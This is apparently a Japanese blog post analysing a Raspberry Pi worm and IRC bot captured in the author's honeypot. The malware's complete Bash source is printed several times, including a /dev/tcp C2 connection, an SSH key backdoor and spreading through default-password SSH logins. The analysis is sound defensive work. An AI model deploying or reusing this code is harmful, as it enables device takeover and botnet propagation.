ShellScript
Bash
Linux
Security
RaspberryPi

Raspberry Piをターゲットにしたマルウェアを解析してみた。

概要

自身がさくらのクラウドで運用しているハニーポットのT-pot内でRaspberry Pi向けに作成されたマルウェアと思しきファイルを見つけたので解析してみました。
いつもcronで取得したマルウェアをfileコマンドの出力及びVirusTotalの解析結果と共にSlackに通知してるんですが、その結果に"Bourne-Again shell script"とあったので飛びつきました。

中身はバイナリではなくシェルスクリプトなので非常に読みやすく、且つIRC Botの中でもソースコードのサイズはかなり小さい方に入るので自分のような初心者の方にはうってつけの学習材料となると思います。
ぜひ、ゆるーく読んでいってください。

解析

オリジナルのソースコードは以下になります。

#!/bin/bash

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

if [ "$EUID" -ne 0 ]
then
    NEWMYSELF=`mktemp -u 'XXXXXXXX'`
    sudo cp $MYSELF /opt/$NEWMYSELF
    sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
    sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
    sudo sh -c "echo 'exit 0' >> /etc/rc.local"
    sleep 1
    sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

BOT=`mktemp -u 'XXXXXXXX'`

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

    arr[0]="ix1.undernet.org"
    arr[1]="ix2.undernet.org"
    arr[2]="Ashburn.Va.Us.UnderNet.org"
    arr[3]="Bucharest.RO.EU.Undernet.Org"
    arr[4]="Budapest.HU.EU.UnderNet.org"
    arr[5]="Chicago.IL.US.Undernet.org"
    rand=$[$RANDOM % 6]
    svr=${arr[$rand]}

    eval 'exec 3<>/dev/tcp/$svr/6667;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi

    echo $NICK

    eval 'printf "NICK $NICK\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi
    eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
        continue
    fi

    # Main loop
    while [ true ]; do
        eval "read msg_in <&3;"

        if [[ ! "$?" -eq 0 ]] ; then
            break
        fi

        if  [[ "$msg_in" =~ "PING" ]] ; then
            printf "PONG %s\n" "${msg_in:5}";
            eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
            sleep 1
            eval 'printf "JOIN #biret\r\n" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
        elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
            privmsg_h=$(echo $msg_in| cut -d':' -f 3)
            privmsg_data=$(echo $msg_in| cut -d':' -f 4)
            privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

            hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
            sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

            if [[ "$sign" == "$hash" ]] ; then
                CMD=`echo $privmsg_data | base64 -d -i`
                RES=`bash -c "$CMD" | base64 -w 0`
                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
                if [[ ! "$?" -eq 0 ]] ; then
                    break
                fi
            fi
        fi
    done
done
EOFMARKER

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
    FILE=`mktemp`
    zmap -p 22 -o $FILE -n 100000
    killall ssh scp
    for IP in `cat $FILE`
    do
        sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
        sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    done
    rm -rf $FILE
    sleep 10
done

fi

上から順に見ていこうと思います。

Dropper

まずは先頭の3行です。

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

上記は変数名からデバッグ用だとわかります。
出力を捨てているので、ここはスルーで大丈夫だと思います。

引き続き見ていきます。

if [ "$EUID" -ne 0 ]
then
    NEWMYSELF=`mktemp -u 'XXXXXXXX'`
    sudo cp $MYSELF /opt/$NEWMYSELF
    sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
    sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
    sudo sh -c "echo 'exit 0' >> /etc/rc.local"
    sleep 1
    sudo reboot

上記は実行ユーザ(EUID)を確認し実行権限がrootではない場合処理を行います。
mktempでランダム文字列を生成、それをファイル名とし"/opt"配下に自身をコピーしています。
"/etc/rc.local"に作成したファイルパスを書き込んでいるところを見ると、boot時にroot権限で当スクリプトを実行させたいようですね。
しっかりと書き込んだ後にホストを再起動させています。

root権限で実行されなかった場合の処理は以上で、上記以降は全てroot権限で実行された場合の処理になります。

引き続きroot権限で実行された場合の処理を見ていきます。

TMP1=`mktemp`
echo $TMP1 >> $DEBUG

上記はまたデバッグのようです。
これはスルーします。

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

上記は特定のプロセスをKILLしています。
プロセス名でググるとわかるのですが、これはマルウェア等を停止させる処理となっています。
これは個人的な考察ですが、当スクリプトの実行を阻害したり、動作中の競合、リソース不足等を回避するためだと思われます。

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

上記はループバックアドレスを書き換え、.bashrcを削除しています。
おそらくエイリアスを削除するためでしょう。
これも当スクリプトの動作を阻害する要素を取り除くためだと思われます。

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

上記はパスワードを設定し直しています。
ログインを阻止するためだと思われます。

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

 上記ではrootのauthorized_keysに鍵を登録しています。
これはrootでのSSH接続を可能にするためです。

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

上記ではネームサーバを登録しています。これはC2サーバのホスト名からIPを引かせるためでしょう。
加えて"/tmp"や"/var"配下のディレクトリを削除しています。
これも他のマルウェアや仮想通貨採掘ツールが使用してるディレクトリなのでリソース不足や動作の競合を懸念してのものだと思います。

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

上記では証明書を作成しています。
これは後でわかるのですがBOTスクリプトがC2サーバからの命令を処理する箇所で使用しています。

BOT=`mktemp -u 'XXXXXXXX'

上記ではランダム文字列を生成しています。
これは次でわかるのですがBOTスクリプトのファイル名として使用しています。

以下がBOTのスクリプトになります。
生成したファイル名に書き込んでいます。

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

    arr[0]="ix1.undernet.org"
    arr[1]="ix2.undernet.org"
    arr[2]="Ashburn.Va.Us.UnderNet.org"
    arr[3]="Bucharest.RO.EU.Undernet.Org"
    arr[4]="Budapest.HU.EU.UnderNet.org"
    arr[5]="Chicago.IL.US.Undernet.org"
    rand=$[$RANDOM % 6]
    svr=${arr[$rand]}

    eval 'exec 3<>/dev/tcp/$svr/6667;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi

    echo $NICK

    eval 'printf "NICK $NICK\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi
    eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
        continue
    fi

    # Main loop
    while [ true ]; do
        eval "read msg_in <&3;"

        if [[ ! "$?" -eq 0 ]] ; then
            break
        fi

        if  [[ "$msg_in" =~ "PING" ]] ; then
            printf "PONG %s\n" "${msg_in:5}";
            eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
            sleep 1
            eval 'printf "JOIN #biret\r\n" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
        elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
            privmsg_h=$(echo $msg_in| cut -d':' -f 3)
            privmsg_data=$(echo $msg_in| cut -d':' -f 4)
            privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

            hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
            sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

            if [[ "$sign" == "$hash" ]] ; then
                CMD=`echo $privmsg_data | base64 -d -i`
                RES=`bash -c "$CMD" | base64 -w 0`
                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
                if [[ ! "$?" -eq 0 ]] ; then
                    break
                fi
            fi
        fi
    done
done
EOFMARKER

上記のBOTスクリプトは後で見るとして、引き続き残りの処理追っていきます。

BOTスクリプトを書き込んだ後の処理です。

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

上記ではBOTスクリプトに実行権限を与え"nohup"コマンドで実行しています。
こうすることでログアウトした後も実行が継続します。
後は不要なログファイルを削除し、BOTスクリプト自身も削除しています。

NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

またランダムな文字列を生成しています。
これは当スクリプトを他のホストに転送する際にファイル名として使います。
その後"date"コマンドで日時を"/tmp/.s"に記録しています。
最後の2行は"-y --force-yes"で対話モードにならないようパッケージのインデックスファイル更新及び"zmap", "sshpass"のインストールを行います。
これは対話モードになることでスクリプトが停止してしまわないようにする目的であると考えるのが自然でしょう。

最後です。

while [ true ]; do
    FILE=`mktemp`
    zmap -p 22 -o $FILE -n 100000
    killall ssh scp
    for IP in `cat $FILE`
    do
        sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
        sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    done
    rm -rf $FILE
    sleep 10
done

fi

上記はネットワークのホストをスキャンし侵入を試みています。
まず"mktemp"コマンドでファイル名となるランダムな文字列を生成し、zmapで22番ポート(SSH)をスキャンした結果(IPアドレス)を保存します。
その後"killall"コマンドで現在実行されている"ssh"及び"scp"をKILLした後、先ほどファイルに保存したIPアドレスを一つずつ読み出し"scp"コマンドでのファイル転送を試みます。
転送した後はcd /tmp && chmod +x $NAME && bash -c ./$NAMEで当スクリプト実行権限を付与し実行しています。
最後の"fi"は最初の条件分岐であったroot権限で実行された場合の処理の終端です。

これでドロッパースクリプトは以上です。

IRC Bot

次は先ほどスキップしたBOT本体のスクリプトを見ていきます。

#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

    arr[0]="ix1.undernet.org"
    arr[1]="ix2.undernet.org"
    arr[2]="Ashburn.Va.Us.UnderNet.org"
    arr[3]="Bucharest.RO.EU.Undernet.Org"
    arr[4]="Budapest.HU.EU.UnderNet.org"
    arr[5]="Chicago.IL.US.Undernet.org"
    rand=$[$RANDOM % 6]
    svr=${arr[$rand]}

    eval 'exec 3<>/dev/tcp/$svr/6667;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi

    echo $NICK

    eval 'printf "NICK $NICK\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi
    eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
        continue
    fi

    # Main loop
    while [ true ]; do
        eval "read msg_in <&3;"

        if [[ ! "$?" -eq 0 ]] ; then
            break
        fi

        if  [[ "$msg_in" =~ "PING" ]] ; then
            printf "PONG %s\n" "${msg_in:5}";
            eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
            sleep 1
            eval 'printf "JOIN #biret\r\n" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
        elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
            privmsg_h=$(echo $msg_in| cut -d':' -f 3)
            privmsg_data=$(echo $msg_in| cut -d':' -f 4)
            privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

            hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
            sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

            if [[ "$sign" == "$hash" ]] ; then
                CMD=`echo $privmsg_data | base64 -d -i`
                RES=`bash -c "$CMD" | base64 -w 0`
                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
                if [[ ! "$?" -eq 0 ]] ; then
                    break
                fi
            fi
        fi
    done
done


まず最初の2行。

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}

上記ではニックネームを生成しています。
以前見つけたPerl製のIRC Botでも同じようなことをしていました。

while [ true ]; do

    arr[0]="ix1.undernet.org"
    arr[1]="ix2.undernet.org"
    arr[2]="Ashburn.Va.Us.UnderNet.org"
    arr[3]="Bucharest.RO.EU.Undernet.Org"
    arr[4]="Budapest.HU.EU.UnderNet.org"
    arr[5]="Chicago.IL.US.Undernet.org"
    rand=$[$RANDOM % 6]
    svr=${arr[$rand]}

上記はC2サーバを選定する処理となっています。
"arr"配列にC2サーバのホスト名を用意します、$RANDOM変数を用いて乱数を生成し"rand"変数に代入したら、それをインデックスにC2サーバを決定、"svr"変数に代入します。

    eval 'exec 3<>/dev/tcp/$svr/6667;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi

    echo $NICK

上記では"eval"の部分でC2サーバとの通信をシェルで行なっています。
あまり見慣れないかもしれませんがググるとよく出てきます。
ファイルディスクリプタの3番にC2サーバの6667番ポートをバインドし入出力を設定しています。
if文ではエラー処理を行なっています。

    eval 'printf "NICK $NICK\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
            continue
    fi
    eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    if [[ ! "$?" -eq 0 ]] ; then
        continue
    fi

"eval"コマンドがファイルディスクリプタの3番に出力しているのでC2サーバとやりとりしているのがわかります。
文字列に意味はなく、ニックネームを送信したり簡単なプロトコルを話す処理のようにも思えます。

次です。

    # Main loop
    while [ true ]; do
        eval "read msg_in <&3;"

        if [[ ! "$?" -eq 0 ]] ; then
            break
        fi

ここではBOTのメインループが始まっています。(コメントにもある通り)
ファイルディスクリプタの3番から入力を受け取っているのでC2サーバからのメッセージを受信する処理なのがわかります。
if文は先ほどと同様エラー処理です。

        if  [[ "$msg_in" =~ "PING" ]] ; then
            printf "PONG %s\n" "${msg_in:5}";
            eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi
            sleep 1
            eval 'printf "JOIN #biret\r\n" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then
                break
            fi

先ほどC2サーバから受信した文字列で条件分岐しています。
上記は"PING"という文字列が送信されてきた場合の処理です。
1つ目の"eval"の部分ではC2サーバが送信してきた"PING "の後に続く文字列を再送信しています。
ここで正しく動作していることを確認しているようにも見えます。

"sleep"を1秒間挟んで"JOIN ~"という文字列を送信しています。
ここではC2サーバに存在する"#biret"というチャンネルにJOINする処理に思えます。
ここでもif文はただのエラー処理になっています。

次がBOTスクリプトの最後の部分になります。

elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
            privmsg_h=$(echo $msg_in| cut -d':' -f 3)
            privmsg_data=$(echo $msg_in| cut -d':' -f 4)
            privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

            hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
            sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

            if [[ "$sign" == "$hash" ]] ; then
                CMD=`echo $privmsg_data | base64 -d -i`
                RES=`bash -c "$CMD" | base64 -w 0`
                eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
                if [[ ! "$?" -eq 0 ]] ; then
                    break
                fi
            fi
        fi
    done
done

上記ではC2サーバからの命令を処理します。
最初の"privmsg~"から始まる3行は命令の文字列を分解しています。
"hash"には送信されてきたデータをハッシュ化したものを、"sign"は送信されてきたハッシュを検証して、それが同じであればコマンド文字列をデコードし実行しています。
最後に実行した結果をC2サーバに送信して一連の処理は終了です。

最後の"done"2つは先ほどのwhile文のものです。

これでBOTスクリプトの処理は以上です。

最後に

解析の容易さに比べて中身は面白かったです。
Linux向けのドロッパーにはいつも勉強させられてばかりなので(変数の使い方やコマンド等)日々精進が必要だと感じました。

ちなみに今回マルウェアを採取してくれたハニーポットも以下の記事で紹介しているのでぜひ見ていってください。
(https://qiita.com/_kazuki_o/items/2d04ec4ea86a09d136ea)